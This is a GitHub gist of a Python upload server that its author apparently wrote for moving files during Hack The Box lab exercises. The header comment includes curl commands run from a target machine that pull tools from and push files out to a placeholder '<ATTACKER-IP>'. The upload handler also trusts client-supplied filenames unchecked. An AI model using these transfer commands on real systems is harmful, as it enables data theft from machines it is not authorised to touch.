Skip to content

Instantly share code, notes, and snippets.

@wuvei
Forked from smidgedy/SimpleHTTPServerWithUpload.py
Last active March 26, 2021 11:35
Show Gist options
  • Save wuvei/e1bf7b0986dcc871a1f919e2138fb737 to your computer and use it in GitHub Desktop.
Save wuvei/e1bf7b0986dcc871a1f919e2138fb737 to your computer and use it in GitHub Desktop.
Simple Python Http Server with Upload
#!/usr/env python3
########################################################################
#
# Simple HTTP server that supports file upload for moving data around
# between boxen on HTB. Based on a gist by bones7456, but mangled by me
# as I've tried (badly) to port it to Python 3, code golf it, and make
# It a little more robust. I was also able to strip out a lot of the
# code trivially because Python3 SimpleHTTPServer is a thing, and the
# cgi module handles multipart data nicely.
#
# Lifted from: https://gist.github.com/UniIsland/3346170
# https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c
#
# Important to note that this tool is quick and dirty and is a good way
# to get yourself popped if you're leaving it running out in the real
# world.
#
# Run it on your attack box from the folder that contains your tools.
#
# On the server side:
# python3 SimpleHTTPServerWithUpload.py
# python3 SimpleHTTPServerWithUpload.py --bind <ip> <port>
#
# From the target machine:
# Infil file: curl -O http://<ATTACKER-IP>:33445/<FILENAME>
# Exfil file: curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:33445/
# Python: requests.post(<path-on-server-side>, files={'file': open(output_file, 'rb')})
#
# Multiple file upload supported, just add more -F 'file=@<FILENAME>'
# parameters to the command line.
#
########################################################################
import http.server
import socketserver
import io
import cgi
import os
import argparse
# Change this to serve on a different port
PORT = 33445
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
r, info = self.deal_post_data()
print(r, info, "by: ", self.client_address)
f = io.BytesIO()
if r:
f.write(b"Success\n")
else:
f.write(b"Failed\n")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
if ctype == 'multipart/form-data':
form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
path = self.translate_path(self.path)
path_dir = os.path.dirname(path)
try:
os.makedirs(path_dir, exist_ok=True)
if isinstance(form["file"], list):
for record in form["file"]:
open(os.path.join(path_dir, record.filename), "wb").write(record.file.read())
else:
# print(form["file"].filename)
open(os.path.join(path_dir, form["file"].filename), "wb").write(form["file"].file.read())
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
return (True, "Files uploaded")
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--bind', '-b', default='', metavar='ADDRESS',
help='Specify alternate bind address '
'[default: all interfaces]')
parser.add_argument('port', action='store',
default=PORT, type=int,
nargs='?',
help='Specify alternate port [default: {}]'.format(PORT))
args = parser.parse_args()
Handler = CustomHTTPRequestHandler
with socketserver.TCPServer((args.bind, args.port), Handler) as httpd:
ip_addr = args.bind if args.bind != '' else '0.0.0.0'
print("serving at {}:{}".format(ip_addr, args.port))
httpd.serve_forever()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment